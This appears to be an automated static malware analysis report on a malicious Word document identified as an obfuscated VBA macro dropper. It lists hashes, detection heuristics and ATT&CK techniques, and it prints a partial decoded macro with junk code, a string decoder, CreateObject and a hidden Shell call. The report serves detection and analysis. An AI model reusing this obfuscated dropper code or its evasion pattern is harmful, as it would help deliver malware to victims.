Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5d1130d2f47815cb…

MALICIOUS

Office (OLE)

164.5 KB Created: 2018-05-16 12:48:00 Authoring application: Microsoft Office Word First seen: 2018-06-30
MD5: 6b45022f5dbdffeeb4b30dbfad30e141 SHA-1: 7f7c2bc028f06d5093e148b0af94dedc066166cd SHA-256: 5d1130d2f47815cbbb6354bbb9ac685b0a49bc1fe402a767972d1e6c2ad6e47e
352 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter

The file contains obfuscated VBA macros, including a Document_Open auto-execution routine. Critical heuristics indicate the macro attempts to download and execute a file from a URL using HTTP .ResponseBody and .SaveToFile, and uses CreateObject and Shell calls. This suggests the primary function is to act as a dropper for a second-stage payload.

Heuristics 10

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell (TQxGTo), 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            dhJDEZ = nQNXV.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Shell (TQxGTo), 0
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set nQNXV = CreateObject(oSQpkC("MOiFc)ruoVsEoLfXtY. X(MkLaHdTiTDPo"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 39765 bytes
SHA-256: 22981c7b74ef3d8f328730f7888f6023d79c1f6189b5588956729c5ca68aa75b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
436 of 677 identifiers look randomly generated (e.g. 'lMAosrPNtGByVECxyUUefzjRoQAShIYGIIO') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function wbxedZ(qQaKNwB As Double, LxGVSC As Double, RVMLSMr As Double, KYHuAqZ As Boolean) As String
    RCmWWGB = 1140 - 468 - 1223
    For xQuUPX = 0 To 303
        aOkMw = Left("RskLT#uEEPi!!s(LgGy", 5)
        iNUSKDf = LTrim("XrKA O(Luvu*Ap(")
        iNUSKDf = RTrim("!%#L$$_mdb ")
        MXXLxOq = UCase("L]*DybIJWU")
        QmHLDsB = UCase("#Rjv)zumMbr$cW")
        gZdxygNr = RTrim("ZtPSHztZuwwJ_k@! UQ")
    Next xQuUPX

    LSYkHs = "]q.DINqZuBiYHz" + "SVpgojGyav*LTh" + "nKSB(F$SbmBF%ib"
    iNUSKDf = Left("fYKLDxhgac[oOMi_eo", 2)
    yraNF = LTrim("_P T@T]lqu%")
    iNUSKDf = Right("]KHq]ynho$Ya", 2)
    mjyRpq = UCase("C&Pu^#]tRLNi[KO(k")
    RRtNre = Left("f[UkS(Hwn?ILD%M.", 5)
    mjyRpq = Space(16)
    iNUSKDf = Left("BzUmbmOHUYvpncq", 2)
    mqPWSwKv = UCase("xQhEKKV-jGx)XuqbhgmN")
    MXXLxOq = Left("sgQkZ*IXOzSI*SSJ$D", 5)
    QmHLDsB = "e*Td^yXrG*$ET@nza" + "Tj_jxvZdFgdj K" + "#Jmu^v?yiXlc"
    RRtNre = RTrim("R!^iFUFfM#UfGQZO")
    mjyRpq = Space(14)
    While zsWBvk < 19
        mqPWSwKv = UCase("NEi]$sYeuF#Td")
        RCmWWGB = Space(9)
        aOkMw = 1856 + 1462 + 1899
        LSYkHs = 848 + 596 + 1275
        mjyRpq = Space(15)
        zsWBvk = zsWBvk + 1
    Wend

    gZdxygNr = Right("idhdYBsvtM", 2)
    mjyRpq = Space(2)
    gZdxygNr = StrReverse("#VBe^?JstJVIRuiSZWk")
    iNUSKDf = 658 + 1417 + 1383
    LSYkHs = Left("F!.AKZpoxw$$XsySm$V", 4)
    MXXLxOq = Right("u*E)o#(tXM_BotsYI&Zb", 3)
    MXXLxOq = LTrim("mYm!WlmhgbBBOS")
    mqPWSwKv = LTrim("aGOLuuC$&y_*!UGl?d")
    aOkMw = RTrim("xzSitzI)OA t")
    LSYkHs = UCase("D$GTFbcX!LSFC*S.j_$")
    RCmWWGB = Right("BL%(cj@Z[.eUo", 4)
    For ORaohY = 0 To 344
        LSYkHs = "ebM*sU)W#jEt[GLp[FY" + "RxTK! IdM!o" + "n$(FDt&SA-"
        RCmWWGB = 214 + 1432 + 1342
        mqPWSwKv = RTrim("s@@.y.Z&hBYhq@jKM")
        iNUSKDf = Space(10)
        mjyRpq = LTrim("vxc?@CqR.tw?f @D _")
        aOkMw = LTrim("nP-%LwBdztP_")
        yraNF = 1932 - 1571 - 672
    Next ORaohY

    RCmWWGB = Space(9)
    QmHLDsB = 840 + 619 + 1754
    yraNF = RTrim("?RdQCZFLj-g?zIf]Z")
    mjyRpq = StrReverse("BU)T*k%GfKsH)rH[K")
    RCmWWGB = Space(10)
    MXXLxOq = RTrim("q.oguB%#oupz(%GVT$ka")
    RRtNre = StrReverse("(YzBmGN#mWAgKF")
    wbxedZ = "lMAosrPNtGByVECxyUUefzjRoQAShIYGIIO"
End Function

Private Sub dUqcSb(wexhGyl As String, LCtAbaM As String, uraUYVO As String, PVjoaF As String)
    gZdxygNr = StrReverse("W&y-gFr&ik]Y(HyFb&r")
    For LECcTp = 0 To 129
        RRtNre = 104 - 1700 - 922
        mqPWSwKv = LTrim("w^juJ-PTjg^Q")
        MXXLxOq = "]pOm)(tBLlV#" + "pRvUIXkISs" + "QUBXgxwHuix#"
        RRtNre = RTrim("Lax[YGprgksa_H%MODd")
        RRtNre = 386 - 282 - 1370
        QmHLDsB = 1901 + 1126 + 1566
        gZdxygNr = Left(" zXvim&TvehrP_?F[$", 4)
        aOkMw = LTrim("?cUu#HV hbp(C[")
    Next LECcTp

    RCmWWGB = Right("DUMfiL@^)XOefISkfXn", 3)
    LSYkHs = StrReverse("V!(z*)c*-[")
    gZdxygNr = Right("F]!urqohNJYye)sV_", 3)
    RCmWWGB = 588 + 1331 + 1412
    mqPWSwKv = Right("Zy*sWsYq$r) bkp", 2)
    gZdxygNr = "dVfkJuEkNVu-" + "#DAga*s]xdcuZ" + "!RmPATOJOhr)H&V_lU"
    While zRwbdo < 134
        RRtNre = 1761 + 1188 + 1433
        mjyRpq = Right("?AB?Q&X]u#&f", 3)
        RCmWWGB = Space(1)
        iNUSKDf = 1185 - 501 - 171
        QmHLDsB = LTrim("]TMx#zrlY(Y]QD*-p")
        MXXLxOq = Left("QZ-bb&toy!.L", 2)
        iNUSKDf = 1299 + 638 + 1604
        zRwbdo = zRwbdo + 2
    Wend

    RCmWWGB = Right("^ipCUEVE.$", 4)
    LSYkHs = StrReverse("@y Uv&t[gw!iEeAieZrx")
    LSYkHs = Space(11)
    RRtNre = 1533 + 1626 + 1688
    RRtNre = Right("OmUb$iE[sf[IO]]Srmx", 5)
    yraNF = UCase("x#@@Zlyo&Uu[vugjyl]B")
    aOkMw = Space(16)
    RCmWWGB = UCase("^tlU$.xOav")
    gZdxygNr = StrReverse("W$e%#rlQBlH")
    MXXLxOq = Left("ZtO#x$_Yl%!r@PHh[i_O", 5)
    For kzuYcM = 0 To 58
        LSYkHs = Space(2)
        LSYkHs = LTrim("SxxKfqXeFu]WhE o@)")
        mqPWSwKv = "LZHes*QXVM(mVNW?j" + "YMzEGLNd_rQ&" + "mTHjHMj_cE)faras"
        yraNF = "%BY[@BPfPYFi%j&$J&#x" + "eQjnpPPCnxIfO" + "NPzo#ONDl.(QKcA"
        yraNF = Space(13)
        QmHLDsB = UCase("_UvPPepf^h")
        mqPWSwKv = 1189 + 1461 + 382
        mjyRpq = 453 - 1396 - 1696
    Next kzuYcM

    mqPWSwKv = StrReverse("jfeHUZyevKas")
    iNUSKDf = StrReverse("#@DkqitN Po.b%XW[S")
    MXXLxOq = Space(11)
    gZdxygNr = Space(8)
    aOkMw = LTrim("t(ZNjOobE$*a[bFLc")
    aOkMw = UCase("hJ@Z*GcOnsGFtBoT[")
    RCmWWGB = UCase("SJOTU&oSCT-L")
    LSYkHs = UCase("k??s[@HY^VX)J")
    aOkMw = Right("?EDqoAtC_zQ-L?i@^(!", 4)
    While jYFYva < 13
        mjyRpq = Right("lePCB^HkCU@kb#(!I%d", 4)
        mjyRpq = RTrim("ZdYRkhOmGgeOHgxDh")
        mjyRpq = UCase("kC@SJ#[*JpFCA]hw")
        aOkMw = Right("igsQ&E.-(O", 2)
        jYFYva = jYFYva + 2
    Wend

    QmHLDsB = Right("IXgMR!gQuTjNhm", 5)
End Sub

Private Function MifajJ(tFMsyz As Boolean, OETmzkY As Boolean, YbGgVNg As String) As String
    iNUSKDf = Left("!^ktHUAVZj#HIE", 3)
    For FxYcHL = 0 To 386
        RRtNre = LTrim("IBV.*I[VqPVYETX")
        MXXLxOq = 1890 - 483 - 840
    Next FxYcHL

    RRtNre = UCase("vP%i$pBQoDkrW$pHDoo-")
    LSYkHs = LTrim("jE_W sAVe^#")
    yraNF = StrReverse("I*&?Mxj$[CBVh$$")
    LSYkHs = Right("?mo^iLh]rtcE", 5)
    mqPWSwKv = Left("!Ws^tsjb[^?ld", 4)
    QmHLDsB = StrReverse("$kmoPQaR.fw!W")
    RCmWWGB = LTrim("z_]QpjUyYsYW")
    aOkMw = Right(" SwPK-]vUlB@]", 3)
    RCmWWGB = Left("BXJQanCDp j-w$P!", 4)
    aOkMw = Space(1)
    For smXpWm = 0 To 242
        RCmWWGB = LTrim("gjUQM_ZzuUO")
        yraNF = UCase("zNjwMx)]f?vE")
        yraNF = Space(8)
        mqPWSwKv = StrReverse("yTvE&ejctGHb^")
        gZdxygNr = 1114 - 528 - 1403
        MXXLxOq = UCase("RuoqIsyfzoPp")
        yraNF = Right("WKJAOzvfN[pHTzAj)", 3)
        RRtNre = Space(14)
        MXXLxOq = "^?dFMp)O%QFB" + "?[@lzJbAwxFy" + "uhq]$GmMdx -JQFr("
        RCmWWGB = Left("gxyP]ZMjc)@zLnCL%b)", 5)
    Next smXpWm

    mjyRpq = 484 + 436 + 1740
    QmHLDsB = 915 + 934 + 1749
    iNUSKDf = 821 - 110 - 1246
    RRtNre = Left("p#)zFK^_ndGIXUIpH", 2)
    RRtNre = Left("@ ^@fUI qgc[*YL^", 4)
    While DjMSbf < 265
        yraNF = RTrim("KRnEHL!XeIsRh*vNK")
        yraNF = Right("vBquioN%qu_#X", 2)
        mjyRpq = "AAir%kE XLp#!?(Bmp@b" + "m%W%VKtU%T[!bTCy" + "?uaBFQQRA_zl.QE"
        mqPWSwKv = StrReverse("xH.fQWAomU_df")
        LSYkHs = RTrim("X)@(VBVgTM")
        QmHLDsB = Left("VxyFRp(%jO", 5)
        DjMSbf = DjMSbf + 2
    Wend

    aOkMw = RTrim("Uoer]btPbLk$RC[")
    MifajJ = "qnKFqohagPQrxxMQzYPi"
End Function

Private Sub IXvYqN(yeiFhe As Boolean, MEPJxoj As Boolean)
    gZdxygNr = Left("EzLuJxWt-()bVHRri!rF", 4)
    mqPWSwKv = Right("hfGw$Ed]ZnI^aZ(g", 2)
    mjyRpq = Right("xbMAYwY?NKZAJ.wZW", 2)
    mqPWSwKv = RTrim("X#qKqw^qSprungsT-u")
    iNUSKDf = RTrim(" LouJrqVh$J[GZlbk")
    gZdxygNr = StrReverse(")!Y-ssBuUgZngrdDZEV")
    QmHLDsB = RTrim("tTyIHcHLKDc-AjA")
    While lAYyxF < 145
        yraNF = StrReverse("(s-PdRGhk]ylZ WEV")
        aOkMw = 1645 - 324 - 1887
        RRtNre = UCase("S_rucyUX#*@!d")
        yraNF = Space(19)
        lAYyxF = lAYyxF + 1
    Wend

    gZdxygNr = 593 + 489 + 570
    MXXLxOq = 1115 - 1046 - 440
    QmHLDsB = UCase("gsM[Ga)-t##")
    RRtNre = UCase("nIscAJm#pTg")
    LSYkHs = UCase("T#L)EOrfdLdlYl#")
    mqPWSwKv = LTrim("AC&[ekJ(Vozan_$hhN")
    aOkMw = Space(11)
    aOkMw = "kI[LDe)vpue%%ZjXv^f" + "--[irBc!XVaYg)&]fSw&" + "-KbaTY$hPz%v)%tWh#Zm"
    LSYkHs = StrReverse("gvQo#-lmXW#AqUVnuu")
    iNUSKDf = 1043 - 374 - 866
    RRtNre = Left("ASkfTbq ksL", 2)
    MXXLxOq = Left("(!nxc!?(^*g%Xm$_Qpd", 2)
    aOkMw = UCase("E[a% ?xkUW@^")
    yraNF = Right("uMuZ_P&n.^qRF$l", 3)
    yraNF = StrReverse("PGUZzpOZPhJw")
    gZdxygNr = Right("oI_Zd%YTjIJ%VxwvZUH)", 4)
    While MtjyTI < 76
        mjyRpq = 814 + 1168 + 711
        RRtNre = Right(" A.V#AdHH?Pw?b", 4)
        MXXLxOq = LTrim("!nbKmZ*YfK(T_Z")
        RCmWWGB = ".SkJIIdn)YSmM!i" + "A) Si[Adanc]Fqzq@[" + "_TT?t]N#ESB-t[o&s]Qm"
        LSYkHs = StrReverse("OyW WVAH]RcNS^R")
        MtjyTI = MtjyTI + 2
    Wend

    iNUSKDf = StrReverse("UO[f]T$EUU_RjI-LH(?")
    MXXLxOq = "b?zvirxWuY)U&RiE" + "WvD*.zC(r)qoBlVA#f^q" + "UUTJ$@AlY*o)x$UbjOQU"
    LSYkHs = 203 - 683 - 1923
    RCmWWGB = Left("#Fv?UJ&)&_Q", 4)
    RRtNre = 1581 + 211 + 302
    yraNF = UCase("OFPP!PBUvwcSX_G")
    mqPWSwKv = "H-DZrKI^Q.M_Suzp" + "_(LS!oWMywl" + "]jz.cm_Yrhe @c"
    aOkMw = StrReverse("Xxa(KvFUjkBLnbmD")
    LSYkHs = StrReverse("m%JDTWeAuT*?s")
    QmHLDsB = Space(3)
    aOkMw = "t?X^a]TQw]k" + "H$@yXkysw#$JH&W#A_u" + "rjZixFyPpQVdNLty"
    QmHLDsB = "fBpKVU*e-oC" + "V-vX^qtW*[" + "]gIbFitD@%&njvXa&H^r"
    mqPWSwKv = Right("pnnFTxj[C%pp]@v(i(B]", 4)
    RRtNre = "QkeXrq(mLR!k[" + "(!Sac?INM yPhG " + "!vLot@zh#V"
End Sub

Private Sub xqirEy(dKITgn As Double, SeYqcQE As Integer, GnDLAv As Integer, zXtMqwT As Integer)
    QmHLDsB = 1536 - 1445 - 843
    MXXLxOq = Right("k&dbC)#c&FotfyUOwr?k", 3)
    aOkMw = RTrim("$L^Cdk#?aNcj")
    yraNF = 475 + 989 + 1652
    iNUSKDf = 1335 - 1301 - 1448
    LSYkHs = "cbwWfVcy#?" + "_AlhSlGdl- GOzz$" + "%a]D&zDG!KE!YsFAm"
    RRtNre = LTrim("f.r@f]edyPBrssYmpG")
    aOkMw = Space(3)
    RRtNre = 233 + 1784 + 956
    While kGUyNS < 40
        RCmWWGB = Space(9)
        mqPWSwKv = StrReverse("YtvwfV&XrEW]vHPb#")
        QmHLDsB = Right("zB#cSsyKq(g&Qruid!?", 3)
        gZdxygNr = 1025 + 659 + 131
        kGUyNS = kGUyNS + 2
    Wend

    iNUSKDf = Right("dxJhON-ASsK", 4)
    aOkMw = StrReverse("vczaHNyf%iqLViJF[vd")
    iNUSKDf = RTrim(" ]B%cU@mqXEozFIa")
    LSYkHs = StrReverse("NZjCTlzeCrCj")
    mjyRpq = StrReverse("CkyQWTLF.L*vPVrI)h")
    MXXLxOq = Left("q?dpFJScZnh!Pux&@[g", 2)
    yraNF = Right("geNT#%z%.A[MfqJPRnhA", 3)
    QmHLDsB = 405 + 1524 + 1324
    mjyRpq = Right("FQF.C&]-H)", 4)
    For RSUflS = 0 To 165
        iNUSKDf = 1397 - 409 - 604
        yraNF = "eZohDsYIql[WL(kg^(" + "*aiSNYOfZiC" + "Y_$HU_]xWYs[Z"
    Next RSUflS

    MXXLxOq = Left("q#[)h!Kv_GpIBp", 5)
    LSYkHs = "KIY_sZ@tBZjhaolhc@" + "O*h&d%JXBY" + "MZFF!pqTOu"
    yraNF = "T%K[f[@%]rX" + "mt- Qpj%PDnH" + "yiLqW?E_Hy)RZIS@dX"
    For guLieQ = 0 To 34
        RCmWWGB = LTrim("XEwmB^BodJLxhRqv")
        aOkMw = LTrim("LPIMX@[NWc?[Di%A_")
        mjyRpq = Right("ASmmDUxhuN!l@vVM!pmt", 4)
        aOkMw = StrReverse("]MDf&LuR.v!%z")
        MXXLxOq = Left("YiC(Vlm TsB%&HrSZjI", 2)
    Next guLieQ

    iNUSKDf = 1530 - 791 - 1376
    mqPWSwKv = RTrim("QVFl@*dDl#")
    RRtNre = StrReverse("JTWwhoArDS^")
    mjyRpq = RTrim("]DzTi@Z qq(c)S")
    gZdxygNr = Right("UROb$)_h.E]G*Xk-I!do", 5)
    RRtNre = "vP)zUhOiX]y^OTQBo]X" + "m@XmJJQX_IWPG*IvE" + "-z%gYB)w(T"
    RCmWWGB = UCase("&Kl^%T.MbMLbsxoiQu?")
    yraNF = RTrim("DYNXaLiM[?i!!]yv")
    RCmWWGB = Right("gavHReTzCV?EiDZ", 5)
    mjyRpq = UCase("VPW%zq!@iIC[] XMFJ(")
    For HSOXOT = 0 To 366
        yraNF = Left("Pw(QQhqPLpi]N%c**eTb", 3)
        mjyRpq = 179 + 1322 + 1735
    Next HSOXOT

    yraNF = 1401 - 767 - 1067
    iNUSKDf = UCase("i#jKxQoNCAdZ_zCpC")
    MXXLxOq = Left("NJ&Xy-KAnKVAgRpPOcPl", 5)
End Sub

Private Sub QVsigT(YAqkqT As Boolean, cflNox As Boolean)
    gZdxygNr = Right("JEDMsqUFXkrtfRS", 4)
    gZdxygNr = StrReverse("i$@&pGXxHpt")
    LSYkHs = Right(" .TLfr w@yYp)y)(?Kb", 5)
    iNUSKDf = StrReverse("Mc@oEiSdxB]fTe&t")
    LSYkHs = 1660 - 234 - 1993
    mqPWSwKv = 1267 - 956 - 661
    LSYkHs = Right("jQ@VmpCdg@", 5)
    RCmWWGB = Space(1)
    yraNF = Space(1)
    RCmWWGB = UCase("NOo!.[?!m^pOWr^O")
    gZdxygNr = Left("DFESK?!qsZa", 4)
    aOkMw = Right("xARcolcfoHAbX(B#T%#N", 2)
    RCmWWGB = 1139 - 1137 - 587
    RCmWWGB = UCase("N?]HJVQpXuUTJN")
    gZdxygNr = UCase("T#cUVRm*]IYtXT-p)CHQ")
    RRtNre = StrReverse("ehFC E^nmfd$B[M@!a")
    While kSGvdk < 306
        LSYkHs = RTrim("TZ#)J)[RkG")
        iNUSKDf = 1672 + 1615 + 845
        iNUSKDf = Space(10)
        LSYkHs = Left("k].Pbp) gm@ fPoixETw", 2)
        mqPWSwKv = Right("xC uDYdm_B*", 2)
        RRtNre = "I@YL.n_?AfwIi(B]hV" + "JGXvyZc^@yEV" + "w[OaF))EJTvz]*IagV"
        kSGvdk = kSGvdk + 2
    Wend

    aOkMw = Left("*pIwgme.s[N", 2)
    LSYkHs = StrReverse("QWjjc -awfayq#D$-J")
    QmHLDsB = Space(20)
    RRtNre = LTrim("SkelYnbMa&jvEIvR")
    mjyRpq = RTrim("rFgWqwPBPCi$JDq.Z)")
    LSYkHs = RTrim("%keqgeIDCegkxYsMDS")
    While pribTp < 239
        RCmWWGB = LTrim("Td*m#U*_!l-@w&qDJNL")
        mqPWSwKv = UCase("&dO?(_O[ rFggWq(#jY")
        RRtNre = RTrim("qy(kqE!yWK%drvZsU")
        gZdxygNr = UCase("P[K$Je]V&lcCk S")
        yraNF = UCase("yc[Vtz)!?@kt%V[X")
        QmHLDsB = Space(1)
        mqPWSwKv = UCase("GkRrhOtVuS")
        pribTp = pribTp + 1
    Wend

    mjyRpq = Left("DymH jkje!pK#g).W ", 4)
    mjyRpq = 1279 - 1910 - 1855
    LSYkHs = LTrim("asNTpmEYFqn!RI.M")
    While mIuGDE < 170
        gZdxygNr = LTrim("ewTD?)BlwsAI")
        RCmWWGB = 254 + 165 + 540
        gZdxygNr = 1278 + 1501 + 1340
        iNUSKDf = Space(5)
        RCmWWGB = UCase("rVP?F@^!^U(#)")
        mqPWSwKv = Left("EkoFmKc_EUgQo$[!Ss", 2)
        mIuGDE = mIuGDE + 1
    Wend

    MXXLxOq = StrReverse("hXiyVmelc&WCsY)%p?E")
    iNUSKDf = UCase("bPg[MN^BJwnsGk")
    aOkMw = LTrim("eE@ Tics a%GJS[.QIX")
End Sub

Private Sub otiia(TQxGTo As String, OCJfQEx As String, ZzHOIG As String, hQQszI As String, acgcFq As String)
    LSYkHs = Right("jg&Bs*MI&zHeHW!hHpf", 3)
    MXXLxOq = StrReverse("i^$bYQwtESUk*")
    RRtNre = RTrim("PzClEu%wa@")
    RCmWWGB = 1249 - 1291 - 1269
    RCmWWGB = "rwvr?lwx-L^i$P" + "RKb.v@[O]VLZwJ_" + "@ sH$rii$kct)-M]!)X"
    aOkMw = 1422 + 1707 + 1122
    mjyRpq = UCase("APm& B!NX]cH")
    While OvLbqb < 229
        RCmWWGB = StrReverse("iIF#N&)u&w")
        yraNF = 557 + 1872 + 1176
        yraNF = StrReverse("pD(oo?qq Ml&PULqAk")
        QmHLDsB = StrReverse("tC-&gYF@NR")
        aOkMw = Space(17)
        gZdxygNr = StrReverse("DalQPNFfpDSZ")
        mqPWSwKv = RTrim("!d]SxYlagDXYL#nvt")
        OvLbqb = OvLbqb + 3
    Wend
    yraNF = "@![&g*#lSft_hhm%@Pk" + "xQF)g#YS&@hQMRQxO@L" + "YJM)r wmekh$)?KnP"
    aOkMw = Right("-Zzk$RzssNgMHk[&C*", 2)
    Shell (TQxGTo), 0
    For fLEwLL = 0 To 296
        yraNF = Space(18)
        gZdxygNr = RTrim("wvARX&zQ&&rL!w*Qd")
        mjyRpq = 248 - 339 - 573
        aOkMw = Space(15)
        RCmWWGB = Right("dr[)twlZ]Q", 2)
    Next fLEwLL
    aOkMw = "EjyYMyhL*tTH^" + "ALT[pllpbKIwvl%" + "RmpOiUpWbQ?WZ$q"
    gZdxygNr = UCase("P[[Jz]hG]_X)?XV")
    mqPWSwKv = "_-R*@KxmUD lT&TK" + "[LYDbf@fqDs.i" + "cmmdBMtP?yzYClJNWCv"
End Sub

Private Function GXRbqi(BLTVILH As String) As String
    yraNF = 1767 - 440 - 1776
    iNUSKDf = Space(2)
    RRtNre = StrReverse("!okyCLf?JgGU")
    aOkMw = UCase("^#yvptHDv&grYmugn")
    RRtNre = Right("BW?*ohaFR%C.N", 2)
    QmHLDsB = Left("Qha%&Ki&-f)iaj[p", 5)
    yraNF = UCase("DNIyC*Wxiv^bIeI")
    QmHLDsB = 1118 - 1253 - 674
    QmHLDsB = 691 + 1783 + 1171
    RRtNre = "cC$hfN*xs DnS(YyN&" + "rpA(KoDho_nh-." + "u@H(jTijH(y)w!pyUx(A"
    iNUSKDf = RTrim("Cb#FaGw!_caffm!")
    aOkMw = "EQQq*s(ybszFK)" + "t_)[pXq._x]$IyEc@" + "P]LDXOpUfTdU"
    For yIWMeI = 0 To 336
        LSYkHs = Space(2)
        iNUSKDf = Right("]mJXUXec(x$nOsY", 2)
        mqPWSwKv = Right("TprYKOP?gv", 3)
        mqPWSwKv = LTrim("XLbp[a Epv@xrj%N")
        iNUSKDf = StrReverse("?r(frX zWbvJrdUgP")
        QmHLDsB = "_A_Z%gL*#eJ$EwQ-" + "ToDhywCCl*p^AUg)" + "(n$sGX!KiGu?"
        yraNF = 1153 + 865 + 957
        RCmWWGB = 1279 - 1050 - 1534
        RRtNre = Space(1)
    Next yIWMeI

    MXXLxOq = 1956 - 661 - 1861
    RCmWWGB = Space(18)
    RCmWWGB = StrReverse("rMxqE.WyDP")
    QmHLDsB = Space(16)
    iNUSKDf = StrReverse("-!]R$KHSXnDk!")
    LSYkHs = RTrim("I(jdjKGB%tpzr-i@)")
    mqPWSwKv = Right("e(uy?Kk#?bl", 4)
    LSYkHs = Left("_Qq[ktX(Ig", 5)
    gZdxygNr = LTrim("B_QJXX]vxkt_u)&^G_r")
    yraNF = "BMj%d%NfQrx!X-R]z-" + "O#WFHx-S.Bm[N?" + "^LIhDD?GxpXjbn?^V]"
    yraNF = 970 + 1622 + 393
    For GHQibf = 0 To 229
        LSYkHs = RTrim("Sv@fBl?_]fDAZ#_gT")
        gZdxygNr = Right("(H[jrtYlb?_VM$-IT", 2)
        mqPWSwKv = UCase("tnbOfoFgsVcTYT^")
        yraNF = Space(19)
    Next GHQibf

    While Veromv < 193
        LSYkHs = Space(7)
        gZdxygNr = 1252 + 316 + 131
        aOkMw = 1175 - 258 - 1410
        iNUSKDf = Right("w(fXZNcU&@KLOmax@GMC", 2)
        RCmWWGB = UCase(" EIQa.K?eOhY")
        yraNF = 1632 + 103 + 1281
        RCmWWGB = "^eKPCS% wUJo$V!k" + "Cn -i?uH!BLG" + "m[njd[Yuq^#HPwGtE*b "
        Veromv = Veromv + 2
    Wend

    QmHLDsB = 1941 - 308 - 718
    While veqedB < 11
        mjyRpq = UCase("&$rdbkUFR*W?STutZ")
        QmHLDsB = "JMtETfmyHbgOz" + "eR[Jsx@ll-?#K[-ty$" + "( AI$psbSjD*QGTTtKv"
        RCmWWGB = RTrim("k$JfoO%G@z@Pgw]JTw")
        MXXLxOq = Right("n[m&FlWX[-cq%", 4)
        LSYkHs = 148 + 558 + 839
        QmHLDsB = 122 + 1586 + 1482
        RRtNre = UCase("UxDd[j EAxJ.IXyAY")
        mjyRpq = RTrim("@rARM[VmdPmU")
        veqedB = veqedB + 1
    Wend

    LSYkHs = LTrim("Wl.^cYTTTSgF#Ai")
    aOkMw = "$&!bbh)GbnmQVjcJvH#[" + "ohvnGC?RnZVy^uz" + "Fsx#r?t-Yklv"
    yraNF = 1104 - 870 - 1457
    mjyRpq = LTrim("J^eorWFm-&LZffEE")
    RCmWWGB = Space(4)
    MXXLxOq = "sLh^NFLDLuoLga[B[v" + "rB)KrWgZXpvWu" + "!Ef?)mdbczK&A.XMdoz"
    LSYkHs = 450 - 1897 - 367
    GXRbqi = "yNqGjyxtSyAkHmATpeJRrEgzyeasohrQGIm"
End Function

Public Function oSQpkC(jzswBFR As String) As String
iNUSKDf = StrReverse("T &%d-bYdY")
iNUSKDf = Left("SiVMfRIGrdC)_qvaw", 3)
mjyRpq = 536 - 1029 - 686
    Dim mKHKT() As Byte
    mqPWSwKv = Left("&tdKmmmyWHP", 2)
    While YHayDC < 89
        LSYkHs = Right("ZYreYa Lc!_l#r[^_rC", 5)
        QmHLDsB = Right("w&ICrz?GyCWOKvH LuS)", 2)
        iNUSKDf = StrReverse("(S^?la%^N.-gml")
        YHayDC = YHayDC + 3
    Wend
    While ATEvkE < 25
        MXXLxOq = "pxO[#Sa m#bOo" + "@F)TOB$_-yTxz%q@St" + "hV*j%Zis_(ZfSDY"
        LSYkHs = 1492 - 521 - 1968
        mqPWSwKv = LTrim(" Um^aUpL*Bjf")
        aOkMw = StrReverse("Uo-!qKNHaY")
        LSYkHs = StrReverse("tTzcSSq#jS?U(unJBe")
        LSYkHs = LTrim("eQxKB@NJ#B(b*sC#awz")
        mqPWSwKv = Left("LAiub!kTOg]?Wp", 5)
        iNUSKDf = 492 + 106 + 1345
        MXXLxOq = Space(4)
        iNUSKDf = UCase("#pdPJKYhIlGK([")
        ATEvkE = ATEvkE + 3
    Wend
    While OxuIVS < 346
        yraNF = UCase("#G#_x@AIffC?s%")
        mjyRpq = Space(4)
        mjyRpq = Right("zTMT@llSuK%V", 5)
        yraNF = 471 + 565 + 1135
        yraNF = LTrim("[XnWA$Xq_]aq")
        mqPWSwKv = "XCJC$g?kB$)tQAkSf)AN" + "Q(nazo^P$-vqre_)bsl@" + "QZLJMsez)CzBfgjUYH"
        OxuIVS = OxuIVS + 2
    Wend
    Dim ODiCM(614) As Byte
    aOkMw = 497 + 956 + 788
    For inAjSp = 0 To 286
        aOkMw = Space(9)
        RCmWWGB = Left("fyRG%f@s^]$BT", 2)
        RRtNre = 744 - 336 - 726
        MXXLxOq = 717 + 1763 + 649
        RRtNre = Right("UVWVw&O(YscJ NE[rLY?", 4)
    Next inAjSp
    MXXLxOq = RTrim(".pdNqbUoK^V")
    ADokxD = 0
